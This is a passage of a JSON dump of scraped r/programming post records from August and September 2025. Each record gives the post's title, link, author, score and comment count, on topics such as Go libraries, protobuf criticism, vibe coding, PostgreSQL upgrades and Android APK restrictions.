giving feedback is greatly appreciated. Looking forward to seeing what the community thinks!\n\nThank you :)",
  "author": "FilipeJohansson",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 1,
  "createdAt": "2025-09-07T22:53:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/FilipeJohansson/gosocket",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1na1zyo",
  "url": "https://www.pcworld.com/article/2898698/microsofts-first-ever-programming-language-was-just-open-sourced.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1na1zyo/microsofts_firstever_programming_language_was/",
  "title": "Microsoft’s first-ever programming language was just open-sourced",
  "body": null,
  "author": "Accomplished-Win9630",
  "subreddit": "programming",
  "score": 1044,
  "upvoteRatio": 0.94,
  "numComments": 158,
  "createdAt": "2025-09-06T15:11:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcworld.com/article/2898698/microsofts-first-ever-programming-language-was-just-open-sourced.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n9af5c",
  "url": "https://reasonablypolymorphic.com/blog/protos-are-wrong/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n9af5c/protobuffers_are_wrong/",
  "title": "Protobuffers Are Wrong",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 155,
  "upvoteRatio": 0.66,
  "numComments": 203,
  "createdAt": "2025-09-05T16:48:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://reasonablypolymorphic.com/blog/protos-are-wrong/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n97ltf",
  "url": "https://gist.github.com/Oakchris1955/8a258063d2b9263d51bb960306b5827f",
  "permalink": "https://www.reddit.com/r/programming/comments/1n97ltf/cryptography_cant_be_stopped/",
  "title": "Cryptography can't be stopped",
  "body": null,
  "author": "Oakchris1955",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.61,
  "numComments": 8,
  "createdAt": "2025-09-05T15:00:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/Oakchris1955/8a258063d2b9263d51bb960306b5827f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n92nbh",
  "url": "https://www.youtube.com/watch?v=uBhe1Rvp4PI",
  "permalink": "https://www.reddit.com/r/programming/comments/1n92nbh/made_a_tutorial_python_in_10_minutes_for/",
  "title": "Made a tutorial Python in 10 minutes for beginners (with homework)",
  "body": "I just uploaded a short and beginner-friendly **Python tutorial** on YouTube where I explain the core concepts in only 10 minutes.  \nPerfect if you're just starting out or need a quick refresher.  \nWould love your feedback on whether you'd like to see more quick lessons like this.\n\nThanks!",
  "author": "Priler96",
  "subreddit": "programming",
  "score": 243,
  "upvoteRatio": 0.68,
  "numComments": 25,
  "createdAt": "2025-09-05T11:26:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=uBhe1Rvp4PI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n8nb8z",
  "url": "https://purplesyringa.moe/blog/if-i-hear-design-pattern-one-more-time-ill-go-mad/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n8nb8z/if_i_hear_design_pattern_one_more_time_ill_go_mad/",
  "title": "If I hear \"design pattern\" one more time, I'll go mad",
  "body": null,
  "author": "imachug",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 24,
  "createdAt": "2025-09-04T21:50:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://purplesyringa.moe/blog/if-i-hear-design-pattern-one-more-time-ill-go-mad/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n8gpkk",
  "url": "https://shiftmag.dev/saying-no-is-not-a-free-action-in-the-world-of-software-engineering-5339/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n8gpkk/the_hidden_costs_of_saying_no_in_software/",
  "title": "The hidden costs of saying “no” in software engineering",
  "body": "At ShiftMag we recently explored an angle of software engineering that doesn’t get much attention: the cost of saying “no”.\n\nWe often hear that being able to refuse is a vital soft skill – but refusing also carries a psychological and professional price. Declining can create stress, trigger anxiety, and even feel like a career risk, especially in environments where overcommitment is the norm. \n\nMeanwhile, saying “yes” is usually rewarded in the short term, even if it leads to burnout later.\nThis raises some questions for us as a profession:\n\nHow do you personally navigate the emotional toll of refusing requests at work?Have you seen “just say no” advice backfire in your teams?\n\nWhat practices have you found effective for making refusal safer and healthier in professional environments?\n\nWe’d love to hear how others in the community experience and handle this dynamic.",
  "author": "shift_devs",
  "subreddit": "programming",
  "score": 528,
  "upvoteRatio": 0.89,
  "numComments": 132,
  "createdAt": "2025-09-04T17:35:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shiftmag.dev/saying-no-is-not-a-free-action-in-the-world-of-software-engineering-5339/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n8gdkh",
  "url": "https://vgel.me/posts/c500/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n8gdkh/writing_a_c_compiler_in_500_lines_of_python/",
  "title": "Writing a C compiler in 500 lines of Python",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.59,
  "numComments": 2,
  "createdAt": "2025-09-04T17:22:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vgel.me/posts/c500/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n8fqry",
  "url": "https://open.substack.com/pub/softwarearthopod/p/vibe-coding-our-way-to-disaster?r=ww6gs&utm_campaign=post&utm_medium=web&showWelcomeOnShare=true",
  "permalink": "https://www.reddit.com/r/programming/comments/1n8fqry/are_we_vibecoding_our_way_to_disaster/",
  "title": "Are We Vibecoding Our Way to Disaster?",
  "body": null,
  "author": "nayshins",
  "subreddit": "programming",
  "score": 349,
  "upvoteRatio": 0.8,
  "numComments": 232,
  "createdAt": "2025-09-04T16:58:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/softwarearthopod/p/vibe-coding-our-way-to-disaster?r=ww6gs&utm_campaign=post&utm_medium=web&showWelcomeOnShare=true",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n8f6sd",
  "url": "https://witheve.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n8f6sd/eve_is_a_programming_language_and_ide_based_on/",
  "title": "Eve is a programming language and IDE based on years of research into building a human-first programming platform",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 14,
  "createdAt": "2025-09-04T16:37:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://witheve.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n879m4",
  "url": "https://www.reddit.com/r/android_devs/comments/1n7vkib/on_the_structural_problems_which_prevent_android/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n879m4/on_the_structural_problems_which_prevent_android/",
  "title": "On the structural problems which prevent Android from being responsive to developers and users (Sept 3, 2025)",
  "body": null,
  "author": "stereomatch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 0,
  "createdAt": "2025-09-04T11:12:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/android_devs/comments/1n7vkib/on_the_structural_problems_which_prevent_android/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n7vpvi",
  "url": "https://mikelovesrobots.substack.com/p/wheres-the-shovelware-why-ai-coding",
  "permalink": "https://www.reddit.com/r/programming/comments/1n7vpvi/wheres_the_shovelware_why_ai_coding_claims_dont/",
  "title": "Where's the Shovelware? Why AI Coding Claims Don't Add Up",
  "body": null,
  "author": "barris59",
  "subreddit": "programming",
  "score": 659,
  "upvoteRatio": 0.92,
  "numComments": 296,
  "createdAt": "2025-09-04T00:25:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mikelovesrobots.substack.com/p/wheres-the-shovelware-why-ai-coding",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n7ldsa",
  "url": "https://medium.com/data-science-collective/evolution-of-gpu-programming-8de112bd798e",
  "permalink": "https://www.reddit.com/r/programming/comments/1n7ldsa/evolution_of_gpu_programming_from_smart_pixels_to/",
  "title": "Evolution of GPU Programming: From Smart Pixels to the Backbone of an AI-driven World",
  "body": null,
  "author": "NoVibeCoding",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.63,
  "numComments": 6,
  "createdAt": "2025-09-03T17:35:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/data-science-collective/evolution-of-gpu-programming-8de112bd798e",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n7ggac",
  "url": "https://ordep.dev/posts/writing-code-was-never-the-bottleneck",
  "permalink": "https://www.reddit.com/r/programming/comments/1n7ggac/writing_code_was_never_the_bottleneck/",
  "title": "Writing Code Was Never The Bottleneck",
  "body": ">The actual bottlenecks were, and still are, code reviews, knowledge transfer through mentoring and pairing, testing, debugging, and the human overhead of coordination and communication. All of this wrapped inside the labyrinth of tickets, planning meetings, and agile rituals.",
  "author": "thewritingwallah",
  "subreddit": "programming",
  "score": 572,
  "upvoteRatio": 0.87,
  "numComments": 95,
  "createdAt": "2025-09-03T14:33:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ordep.dev/posts/writing-code-was-never-the-bottleneck",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n793x7",
  "url": "https://youtu.be/thS_VY-rNdg",
  "permalink": "https://www.reddit.com/r/programming/comments/1n793x7/most_popular_programming_languages_20012025/",
  "title": "Most Popular Programming Languages 2001-2025",
  "body": null,
  "author": "Shubham0420",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 13,
  "createdAt": "2025-09-03T08:18:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/thS_VY-rNdg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n74kfo",
  "url": "https://www.pgedge.com/blog/always-online-or-bust-zero-downtime-major-version-postgres-upgrades",
  "permalink": "https://www.reddit.com/r/programming/comments/1n74kfo/zero_downtime_major_version_postgresql_upgrades/",
  "title": "Zero Downtime Major Version PostgreSQL Upgrades",
  "body": "A blog from Shaun Thomas on how to achieve zero-downtime upgrades of your Postgres instances with native tooling. **Friendly reminder: PG18 is just about here**, which means it's about time to upgrade to PG17 on your production instances if you haven't already :-)",
  "author": "pgEdge_Postgres",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.55,
  "numComments": 2,
  "createdAt": "2025-09-03T03:45:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pgedge.com/blog/always-online-or-bust-zero-downtime-major-version-postgres-upgrades",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n6zfq7",
  "url": "https://rpubs.com/Victor-Shamanovsky/apple-app-store-data",
  "permalink": "https://www.reddit.com/r/programming/comments/1n6zfq7/apple_app_store_data_design/",
  "title": "Apple App Store Data design",
  "body": null,
  "author": "vsround",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2025-09-02T23:43:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rpubs.com/Victor-Shamanovsky/apple-app-store-data",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n6vqrz",
  "url": "https://tonybaloney.github.io/posts/why-isnt-python-async-more-popular.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1n6vqrz/python_has_had_async_for_10_years_why_isnt_it/",
  "title": "Python has had async for 10 years – why isn't it more popular?",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 509,
  "upvoteRatio": 0.9,
  "numComments": 206,
  "createdAt": "2025-09-02T21:11:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tonybaloney.github.io/posts/why-isnt-python-async-more-popular.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n6pui7",
  "url": "https://graydon2.dreamwidth.org/218040.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1n6pui7/things_rust_shipped_without_2015/",
  "title": "things rust shipped without (2015)",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2025-09-02T17:29:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://graydon2.dreamwidth.org/218040.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n687q0",
  "url": "https://www.theregister.com/2025/09/01/laravel_inventor_clever_devs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n687q0/beware_clever_devs_says_laravel_inventor_taylor/",
  "title": "Beware clever devs, says Laravel inventor Taylor Otwell",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 580,
  "upvoteRatio": 0.89,
  "numComments": 271,
  "createdAt": "2025-09-02T02:46:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2025/09/01/laravel_inventor_clever_devs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n5vbg8",
  "url": "https://blog.frankel.ch/thoughts-object-creation/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n5vbg8/thoughts_on_object_creation/",
  "title": "Thoughts on object creation",
  "body": null,
  "author": "nfrankel",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 13,
  "createdAt": "2025-09-01T17:40:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.frankel.ch/thoughts-object-creation/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n5s0mb",
  "url": "https://mcyoung.xyz/2025/08/25/go-default-methods/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n5s0mb/default_methods_in_go_mcyoung/",
  "title": "Default Methods in Go · mcyoung",
  "body": null,
  "author": "Maybe-monad",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.56,
  "numComments": 4,
  "createdAt": "2025-09-01T15:38:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mcyoung.xyz/2025/08/25/go-default-methods/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n5p7rk",
  "url": "https://uptimelabs.io/you-vibe-it-you-run-it/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n5p7rk/you_vibe_it_you_run_it/",
  "title": "You Vibe It, You Run It?",
  "body": null,
  "author": "Additional_Treat_602",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.66,
  "numComments": 18,
  "createdAt": "2025-09-01T13:49:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://uptimelabs.io/you-vibe-it-you-run-it/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n5ogrs",
  "url": "https://oneuptime.com/blog/post/2025-09-01-the-five-stages-of-sre-maturity/view",
  "permalink": "https://www.reddit.com/r/programming/comments/1n5ogrs/the_five_stages_of_sre_maturity_from_chaos_to/",
  "title": "The Five Stages of SRE Maturity: From Chaos to Operational Excellence",
  "body": null,
  "author": "OuPeaNut",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-09-01T13:17:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://oneuptime.com/blog/post/2025-09-01-the-five-stages-of-sre-maturity/view",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n5kbaf",
  "url": "https://github.com/rhannequin/astronoby/releases/tag/v0.8.0",
  "permalink": "https://www.reddit.com/r/programming/comments/1n5kbaf/astronoby_v080/",
  "title": "Astronoby v0.8.0",
  "body": null,
  "author": "rhannequin",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 1,
  "createdAt": "2025-09-01T09:38:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/rhannequin/astronoby/releases/tag/v0.8.0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n5hen9",
  "url": "https://analyticsindiamag.com/ai-features/vibe-coding-lets-anyone-start-but-few-know-how-to-finish/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n5hen9/vibe_coding_lets_anyone_start_but_few_know_how_to/",
  "title": "Vibe Coding Lets Anyone Start, But Few Know How to Finish",
  "body": "Vibe coding may be here to stay, but the challenges will always bring back the users to the fundamentals, I believe. And, this article says some part of it about how it is being marketed, “There’s still a significant gap between what these platforms promise and what new users actually experience.”\n\nWhat do you guys think?",
  "author": "Soul_Predator",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 12,
  "createdAt": "2025-09-01T06:33:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://analyticsindiamag.com/ai-features/vibe-coding-lets-anyone-start-but-few-know-how-to-finish/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n4xbw4",
  "url": "https://chng.it/bXPb8H7sz8",
  "permalink": "https://www.reddit.com/r/programming/comments/1n4xbw4/google_is_restricting_androids_freedom_say/",
  "title": "Google is Restricting Android’s Freedom – Say Goodbye to Installing APKs?",
  "body": "Android’s freedom is at risk. Google plans to block APK installations from unverified sources in Android 16 (2026). This affects students, gamers, developers, and anyone who relies on apps outside the Play Store.\n\nWe can’t let Android become like iOS – closed and restrictive. Sign the petition and make your voice heard! Let’s show Google that users want choice, openness, and freedom.\n\nSign the petition to stop Google from blocking APKs and keep the choice in YOUR hands. Every signature counts! Thank you all.",
  "author": "Quiet-Caramel-6614",
  "subreddit": "programming",
  "score": 1822,
  "upvoteRatio": 0.97,
  "numComments": 483,
  "createdAt": "2025-08-31T15:15:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chng.it/bXPb8H7sz8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n4wu9v",
  "url": "https://smagin.fyi/posts/padding-over-cards/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n4wu9v/spacing_over_cards/",
  "title": "Spacing Over Cards",
  "body": "This is more about design but programmers, especially indies, would benefit more from it. \n\nTL;DR: cards got overused. Often you can achieve better results by applying the proximity principle instead. The principle is, r*ecursively, internal spacing should be no larger than external spacing.*",
  "author": "Odd-Tell9763",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-08-31T14:56:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://smagin.fyi/posts/padding-over-cards/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n4ufic",
  "url": "https://open.substack.com/pub/allvpv/p/turn-off-cursor-turn-on-your-mind?r=6ehrq6&utm_medium=ios",
  "permalink": "https://www.reddit.com/r/programming/comments/1n4ufic/turn_off_cursor_turn_on_your_mind/",
  "title": "Turn off Cursor, turn on your mind",
  "body": "A case against agentic coding",
  "author": "Low-Strawberry7579",
  "subreddit": "programming",
  "score": 419,
  "upvoteRatio": 0.7,
  "numComments": 130,
  "createdAt": "2025-08-31T13:15:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/allvpv/p/turn-off-cursor-turn-on-your-mind?r=6ehrq6&utm_medium=ios",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n4rpq7",
  "url": "https://blog.meca.sh/3lxoty3shjc2z",
  "permalink": "https://www.reddit.com/r/programming/comments/1n4rpq7/nextjs_is_infuriating/",
  "title": "Next.js Is Infuriating",
  "body": null,
  "author": "Dminik",
  "subreddit": "programming",
  "score": 309,
  "upvoteRatio": 0.92,
  "numComments": 132,
  "createdAt": "2025-08-31T10:54:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.meca.sh/3lxoty3shjc2z",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n4rioj",
  "url": "https://dynomight.net/numpy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n4rioj/i_dont_like_numpy/",
  "title": "I don’t like NumPy",
  "body": null,
  "author": "Active-Fuel-49",
  "subreddit": "programming",
  "score": 401,
  "upvoteRatio": 0.94,
  "numComments": 129,
  "createdAt": "2025-08-31T10:42:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dynomight.net/numpy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n47l0k",
  "url": "https://youtu.be/0sX-hH9NAeM",
  "permalink": "https://www.reddit.com/r/programming/comments/1n47l0k/wow_private_servers_c_code_review_by_tariq10x/",
  "title": "WoW private servers C++ code review by Tariq10x",
  "body": "High quality deep dive on how private servers work under the hood. As someone who played on these back in the days I always wondered how they pulled it off..",
  "author": "bulltrapking",
  "subreddit": "programming",
  "score": 426,
  "upvoteRatio": 0.92,
  "numComments": 41,
  "createdAt": "2025-08-30T17:36:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/0sX-hH9NAeM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n3mou2",
  "url": "https://www.xml.com/articles/2017/02/14/why-you-should-be-using-xslt-30/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n3mou2/why_you_should_be_using_xslt_30/",
  "title": "Why You Should Be Using XSLT 3.0",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 14,
  "createdAt": "2025-08-29T23:32:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.xml.com/articles/2017/02/14/why-you-should-be-using-xslt-30/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n3jii3",
  "url": "https://spectrum.ieee.org/ai-for-coding",
  "permalink": "https://www.reddit.com/r/programming/comments/1n3jii3/why_ai_isnt_ready_to_be_a_real_coder/",
  "title": "Why AI Isn’t Ready to Be a Real Coder",
  "body": null,
  "author": "10ForwardShift",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 10,
  "createdAt": "2025-08-29T21:16:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spectrum.ieee.org/ai-for-coding",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n3guzd",
  "url": "https://fastcode.io/2025/08/30/the-69-billion-domino-effect-how-vmwares-debt-fueled-acquisition-is-killing-open-source-one-repository-at-a-time",
  "permalink": "https://www.reddit.com/r/programming/comments/1n3guzd/the_69_billion_domino_effect_how_vmwares/",
  "title": "The $69 Billion Domino Effect: How VMware’s Debt-Fueled Acquisition Is Killing Open Source, One Repository at a Time",
  "body": "Bitnami’s decision to end its free tier by August 2025 has sparked widespread outrage among developers who rely on its services. This change is part of Broadcom CEO Hock Tan’s strategy to monetize essential software following acquisitions, impacting countless users and forcing companies to either pay steep fees or undergo costly migrations.",
  "author": "gamunu",
  "subreddit": "programming",
  "score": 1081,
  "upvoteRatio": 0.96,
  "numComments": 196,
  "createdAt": "2025-08-29T19:30:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fastcode.io/2025/08/30/the-69-billion-domino-effect-how-vmwares-debt-fueled-acquisition-is-killing-open-source-one-repository-at-a-time",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n3g825",
  "url": "https://pyret.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/1n3g825/pyret_a_programming_language_for_programming/",
  "title": "Pyret: A programming language for programming education",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.63,
  "numComments": 24,
  "createdAt": "2025-08-29T19:05:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pyret.org/",
    "thumbnail": null,
    "isVideo": false,
